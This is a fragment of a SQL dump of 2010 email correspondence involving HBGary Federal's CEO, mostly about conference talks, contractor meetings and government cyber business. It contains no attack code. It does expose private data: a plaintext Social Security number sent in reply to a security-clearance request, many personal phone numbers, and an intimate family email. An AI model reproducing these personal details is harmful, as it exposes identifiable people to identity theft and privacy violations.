AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI do want to do this.  And the topic will be around building threat intelligence and dynamic defense.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 12:01 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nThe NSA Blue Team is an HBGary customer, and they are looking to do even more with us at the enterprise level.  They hold an annual REBL (Red Blue Team) conference in Maryland where they invite hundreds of gov&#39;t security professionals.  This is the top of food chain from a tech point of view.  This tier is above HBSS from a response point of view.\r\n\r\n \r\nLsst year they invited us to speak, but Greg didn&#39;t have the bandwidth to do it.  They&#39;ve invited us again for this year (May or June?).  Would you like to speak?  If yes, please write up one or more topics (a few sentences each) that I can send to them.  Talks can be either unclass or secret level.  They don&#39;t want sales pitches.  Products can be mentioned, but they want the talks to be technology oriented.\r\n\r\n \r\nWould a talk on attribution be a good one?  Please suggest others if you like.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',1048,'aaron_hbgary_com/1048.html'),(2611,'2010-02-13','\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','/aaron@hbgary.com/new/1297001215.M305016P3547Q2612.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','\r\n\r\n\r\n\r\n\r\nThat should be good...&nbsp;thanks,&nbsp;do you want me to bring anything with me?\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 2/12/2010 9:54 PMTo: Gibbs, Kevin (Xetron)Cc: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nSorry Kevin... \r\n\r\nPalantir session is all day on the 16th at the Sacramento HBGary facility.\r\n3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864Phone | 916.459.4727\r\n\r\nDo you need anything else?\r\n\r\nAaron\r\n\r\nOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)Sent: Thu 2/11/2010 4:18 PMTo: \'aaron@hbgary.com\'Cc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\nHey, Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys. \r\n----- Original Message ----- From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Masterson, Brian (Xetron) Sent: Thu Feb 11 15:09:13 2010 Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file? \r\nOn Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote: \r\n&gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt; \r\nAaron Barr CEO HBGary Federal Inc. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',1431,'aaron_hbgary_com/1431.html'),(2612,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001215.M47086P3547Q2611.eml','\"Penny Leavy\" <penny@hbgary.com>','Cabo','When r u guys going?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5748,'aaron_hbgary_com/5748.html'),(2613,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001215.M499572P3547Q2613.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: 16th','Confirmed.You may have heard. &nbsp;Meeting with Fidelis rocked. &nbsp;This will round our security offering to include network. &nbsp;Powerful. &nbsp;Also we will write in the integration into our Incident Response Processes which Ted and I are generating. &nbsp;We will have a structured, efficient, cost-effective incident response offering. &nbsp;With tools that rock. &nbsp;Eventually could manage remotely and continuously.Call me when you have time.GD really wants a bit of your time next week to have a Telecon on the DARPA BAA, if you can\'t support then I just need to work smoothing that over. &nbsp;I think I can handle generating the ideas for Tech area 1 and 2 but the 3rd Tech area which surrounds automated RE and malware analysis. &nbsp;I don\'t think I can do justice to the state of the art compared to you.Let me know.AaronOn Feb 12, 2010, at 11:02 PM, Greg Hoglund wrote:Please let me know if this is confirmed, and whether we will need to prepare our training room at the HBGary facility.\r\n&nbsp;\r\n-Greg\r\nOn Fri, Feb 12, 2010 at 6:56 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOk so the Palantir guy Geoff Stowe will be in Sacramento all day on the 16th. &nbsp;Also one of Xetrons senior guys is going to come out to participate. &nbsp;He is going to be one of the ones leading the Cyber Intelligence Initiative that NG is going to fund. &nbsp;Let me know if you have any questions.\r\nAaronAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10811,'aaron_hbgary_com/10811.html'),(2614,'2010-02-14','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001215.M712668P3547Q2614.eml','Michael.Henderson@ngc.com,Kevin.Gibbs@ngc.com,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,Christopher.Churchey@ngc.com,Geoffrey.Werbin@ngc.com,Jonathan.Elchison@ngc.com,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,Michael.Henderson@ngc.com,Kevin.Gibbs@ngc.com,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>','Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nCyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Conf-OH9 Lobby 1 (Large) (conflobby1@ngc.com)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',10366,'aaron_hbgary_com/10366.html'),(2615,'2010-02-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001215.M945303P3547Q2615.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Wow.  Lots of people.  And mr. Akey, fun.  I\'ll tell u a story about\r\nhim sometime.  I know he\'s a good guy just a little full of himself.\r\nAnyway looking forward to it.  Is there a reason for me to come out\r\nearly on wed?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 14, 2010, at 8:14 AM, \"Masterson, Brian (Xetron)\"\r\n wrote:\r\n\r\n> \r\n',5143,'aaron_hbgary_com/5143.html'),(2616,'2010-02-14','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001216.M525532P3547Q2616.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Threat Analysis Center','Sure!  Not sure on my trip to San Antonio yet but I was planning on the\r\ntwo of us getting with Bill on Thursday morning if I am there or just\r\nthe two of you.\r\n\r\nStories!  I love stories!  He is full of himself and can talk forever\r\nwithout saying much but Mark\'s heart is in the right place.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, February 14, 2010 8:43 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\nWow.  Lots of people.  And mr. Akey, fun.  I\'ll tell u a story about\r\nhim sometime.  I know he\'s a good guy just a little full of himself.\r\nAnyway looking forward to it.  Is there a reason for me to come out\r\nearly on wed?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 14, 2010, at 8:14 AM, \"Masterson, Brian (Xetron)\"\r\n wrote:\r\n\r\n> \r\n',6043,'aaron_hbgary_com/6043.html'),(2617,'2010-02-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001216.M749564P3547Q2617.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Yeah the story involved him telling me how to do information operations.  Its a good story.  I still don\'t think he got the irony.\r\n\r\nWhen do you think you will know on San Antonio?  And if you go when will you be back?\r\n\r\nAaron\r\n\r\nOn Feb 14, 2010, at 8:45 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Sure!  Not sure on my trip to San Antonio yet but I was planning on the\r\n> two of us getting with Bill on Thursday morning if I am there or just\r\n> the two of you.\r\n> \r\n> Stories!  I love stories!  He is full of himself and can talk forever\r\n> without saying much but Mark\'s heart is in the right place.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, February 14, 2010 8:43 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Cyber Threat Analysis Center\r\n> \r\n> Wow.  Lots of people.  And mr. Akey, fun.  I\'ll tell u a story about\r\n> him sometime.  I know he\'s a good guy just a little full of himself.\r\n> Anyway looking forward to it.  Is there a reason for me to come out\r\n> early on wed?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 14, 2010, at 8:14 AM, \"Masterson, Brian (Xetron)\"\r\n> > wrote:\r\n> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3309,'aaron_hbgary_com/3309.html'),(2618,'2010-02-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001217.M405213P3547Q2618.eml','\"Sandy Barr\" <freelybe@hotmail.com>','What I sent Janelle','I can\'t do this anymore. I can\'t wait, I can\'t continue to ask for my family to help me and get nothing. It causes more pain and turmoil in my house than you know.If a friend told you that something you said hurt their feelings just in normal circumstances what would you do?I know what I said to you, I told you that we could not go to Dads separate, that because of what happened we needed to go as a family it would not be fair to Sandy or our family, regardless, I did not choose your words for you. You said you couldn\'t believe Dad was not allowed to see those kids, that is taking his side and not understanding ours. You said if something happened to Dad that you would not forgive or forget, that sounds like you taking Dads side and not ours. I think these things said do warrant someone being upset. And its not them being said that is causing a grudge, mom said some crappy things but she called and they are now in the past but you and Dad continue to just ignore us, and it just keeps getting bigger and more painful. I know everyone has had issues going on, so have we, so I wait, and I ask, and still nothing.All I asked for was you to call, and I continue to just get silence and it is killing me and creating more turmoil in my marriage because it just makes us both feel like shit, so I don\'t want to wait anymore just forget I asked.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16734,'aaron_hbgary_com/16734.html'),(2619,'2010-02-14','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001218.M135160P3547Q2619.eml','aaron@hbgary.com','Re: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRe: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nStory on IO?&nbsp; Really?\r\n\r\nI should know tonight.&nbsp; If I go, I\'ll be back around 1130 thursday morning.&nbsp; Will fly to atl wed night then first flight to cinci thursday morn.&nbsp; More than likely not going.&nbsp; Have to talk to our bd guy tonight.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Sun Feb 14 13:33:06 2010\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\nYeah the story involved him telling me how to do information operations.&nbsp; Its a good story.&nbsp; I still don\'t think he got the irony.\r\n\r\nWhen do you think you will know on San Antonio?&nbsp; And if you go when will you be back?\r\n\r\nAaron\r\n\r\nOn Feb 14, 2010, at 8:45 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n&gt; Sure!&nbsp; Not sure on my trip to San Antonio yet but I was planning on the\r\n&gt; two of us getting with Bill on Thursday morning if I am there or just\r\n&gt; the two of you.\r\n&gt;\r\n&gt; Stories!&nbsp; I love stories!&nbsp; He is full of himself and can talk forever\r\n&gt; without saying much but Mark\'s heart is in the right place.\r\n&gt;\r\n&gt; Brian Masterson\r\n&gt; Northrop Grumman/Xetron\r\n&gt; Chief Technology Officer, IO Programs\r\n&gt; Ph: 513-881-3591\r\n&gt; Cell: 513-706-4848\r\n&gt; Fax: 513-881-3877\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Sunday, February 14, 2010 8:43 AM\r\n&gt; To: Masterson, Brian (Xetron)\r\n&gt; Subject: Re: Cyber Threat Analysis Center\r\n&gt;\r\n&gt; Wow.&nbsp; Lots of people.&nbsp; And mr. Akey, fun.&nbsp; I\'ll tell u a story about\r\n&gt; him sometime.&nbsp; I know he\'s a good guy just a little full of himself.\r\n&gt; Anyway looking forward to it.&nbsp; Is there a reason for me to come out\r\n&gt; early on wed?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n&gt;\r\n&gt; On Feb 14, 2010, at 8:14 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&gt; &lt;Brian.Masterson@ngc.com\r\n&gt;&gt; wrote:\r\n&gt;\r\n&gt;&gt; &lt;meeting.ics&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16141,'aaron_hbgary_com/16141.html'),(2620,'2010-02-15','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001218.M969124P3547Q2620.eml','\"Aaron Barr\" <aaron@hbgary.com>','SSN','\r\n\r\n\r\n\r\n\r\nSSN\r\n\r\n\r\n\r\n\r\nI need your SSN to give to my security for your visit.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',11192,'aaron_hbgary_com/11192.html'),(2621,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001219.M155769P3547Q2621.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: SSN','534783155On Feb 14, 2010, at 11:45 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nI need your SSN to give to my security for your visit.BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12447,'aaron_hbgary_com/12447.html'),(2622,'2010-02-15','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297001219.M620631P3547Q2622.eml','\"Aaron Barr\" <aaron@hbgary.com>','Mtg this am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nI&#8217;m going to have to ask that we cancel our mtg this\r\nam.&nbsp; My car won&#8217;t start this morning for some reason, and I have to the\r\nthe kids to school, etc.\r\n\r\n&nbsp;\r\n\r\nLets find another time.\r\n\r\n&nbsp;\r\n\r\nThx - Mike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\nMulville |&nbsp;CTO, CYBER Programs&nbsp;|\r\n\r\nSAIC | VP - Cyber PMO | MulvilleM@saic.com\r\n\r\n(:&nbsp;703-676-8381 Office |&nbsp;703-622-9121\r\nBlackberry&nbsp;| &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5351,'aaron_hbgary_com/5351.html'),(2623,'2010-02-15','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297001219.M868490P3547Q2623.eml','aaron@hbgary.com','Re: Mtg this am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron -Disregard - I got the car started. Were good for this am.Mike- Sent by BlackBerry\r\n\r\n\r\nFrom: Mulville, Michael E.To: Aaron Barr &lt;aaron@hbgary.com&gt;Sent: Mon Feb 15 07:54:40 2010Subject: Mtg this am\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nI&#8217;m going to have to ask that we cancel our mtg this\r\nam.&nbsp; My car won&#8217;t start this morning for some reason, and I have to the\r\nthe kids to school, etc.\r\n\r\n&nbsp;\r\n\r\nLets find another time.\r\n\r\n&nbsp;\r\n\r\nThx - Mike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\nMulville |&nbsp;CTO, CYBER Programs&nbsp;|\r\n\r\nSAIC | VP - Cyber PMO | MulvilleM@saic.com\r\n\r\n(:&nbsp;703-676-8381 Office |&nbsp;703-622-9121\r\nBlackberry&nbsp;| &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10250,'aaron_hbgary_com/10250.html'),(2624,'2010-02-15','\"Jonathan George\" <jonathan.k.george@gmail.com>','/aaron@hbgary.com/new/1297001220.M214613P3547Q2624.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Skillz','There are two Starbucks off of 7. I\'ll be at the one off of Spring Hill Rd.Sent from my iPhoneOn Feb 12, 2010, at 8:20 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Sounds good. &nbsp;I am free until 11am, so 9am good?AaronOn Feb 12, 2010, at 8:08 AM, Jonathan George wrote:Aaron,Let\'s plan on coffee Monday morning. How does the Starbucks in Tyson\'s off of 7 sound?My strengths are in application development. I\'ve done a bit of reversing but only to interface to applications. I\'ve also done a little low level development on real time embedded systems.\r\nThe BAA reads like it was written for Digital DNA.JonathanOn Thu, Feb 11, 2010 at 10:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Jonathan,\r\n\r\nJust to get an idea. &nbsp;How low can you go? &nbsp;In reference to coding. &nbsp;Have you ever looked at any reverse engineering? &nbsp;Malware analysis? &nbsp;Incident Response?\r\n\r\nTake a look at the BAA.\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tab=core&amp;_cview=0\r\n\r\n\r\nI could have coffee in the morning or meet Monday morning?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14534,'aaron_hbgary_com/14534.html'),(2625,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001220.M805576P3547Q2625.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: SSN','Going?From my iPhoneOn Feb 14, 2010, at 11:45 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI need your SSN to give to my security for your visit.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',26,'aaron_hbgary_com/26.html'),(2626,'2010-02-15','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001221.M233515P3547Q2627.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nUsed a &#8216;sent&#8217;\r\nemail below; this should work better!\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Monday, February 15, 2010 8:36 AM\r\nTo: Shows, Bob (IS)\r\nCc: Edwards, Michael (CORP)\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWeather and travel\r\nreally de-railed my schedule last week.&nbsp; I&nbsp; will catch-up with you\r\nthis week. \r\n\r\n&nbsp;\r\n\r\nI reviewed the\r\nAurora brochure&#8212;a very sophisticated presentation.&nbsp; Please help me\r\nunderstand how this will be used?&nbsp; Was it an assessment specified for a\r\nspecific organization?&nbsp; \r\n\r\n&nbsp;\r\n\r\nHopefully Mike\r\nwill be able to assist as we expand our relationship with the 24th\r\nNAF and 624th Operations Center&#8212;he&#8217;s still grieving over\r\nyour departure from NGC!\r\n\r\n&nbsp;\r\n\r\nBest of the day, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Tuesday, February 09, 2010 9:44 AM\r\nTo: Aaron Barr\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nNo word back from\r\nVickie&#8212;so I take that as a &#8220;no&#8221;.&nbsp;&nbsp; That&#8217;s\r\nfine since we can get to many consultants on our own. &nbsp;Gen (Ret) Tom\r\nHobbins is back onboard with NGC&#8212;he brings a lot.&nbsp; &nbsp;I&#8217;ll\r\ncatch-up with you Wed or Thurs to work next steps. &nbsp;&nbsp;Let me know if\r\none timeframe is better than another to call. &nbsp;\r\n\r\n&nbsp;\r\n\r\nCheers,\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:17 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust checking in to see any status on this effort.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI spoke at length\r\nwith Vickie Michaels of CyberSpace Operations Consulting, LLC.&nbsp; Fundamentally\r\nher company is interested, but wants NGC to pay her company upfront to\r\nconsultant in bringing this business case together.&nbsp; I conveyed that was\r\nnot going to work, but if she could get her boss to sign the NDA, I would work\r\nwith her to see how they might fit.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOf note, she\r\nwasn&#8217;t interested in investing 2-4 hours of her own time just tighten the\r\nshot pattern on this effort.&nbsp; We left it with her going to see her boss\r\nand present the case (for which she did not seem overly enthusiastic)&#8212;we&#8217;ll\r\nsee.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned,\r\nCSOC would be nice to have on this team, but not essential.&nbsp; We have Tom\r\nHobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you\r\nknow to assist with senior customer interface.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUntil we hear from\r\nVickie, not sure we should plan to rendezvous in San Antonio&#8212;I&#8217;ll\r\nstay on top of this and keep you in-the-loop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlso, Jim Hale has\r\nsome things in the work that he believes will be of interest to you.&nbsp;\r\nHe&#8217;ll be in touch soon. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim \'Torch\' Hale\r\n\r\n\r\n\r\n\r\n\r\n(719) 238-0763 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n(301) 652-8885 x117\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest regards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert \'Bob\'\r\nShows&nbsp;\r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation&nbsp;\r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15758,'aaron_hbgary_com/15758.html'),(2627,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001221.M426595P3547Q2628.eml','\"Aaron Barr\" <adbarr@mac.com>','','Behaviors\r\nTrending\r\nPatterns\r\nCharacteristics\r\nAll layers\r\n\r\n\r\n From my iPhone\r\n',14655,'aaron_hbgary_com/14655.html'),(2628,'2010-02-15','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001221.M7687P3547Q2626.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SSN','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure yet.&nbsp; Still working.&nbsp; Could not get our BD person this\r\nweekend.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 8:30 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: SSN\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGoing?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 14, 2010, at 11:45 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI need your SSN to give to\r\nmy security for your visit.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO 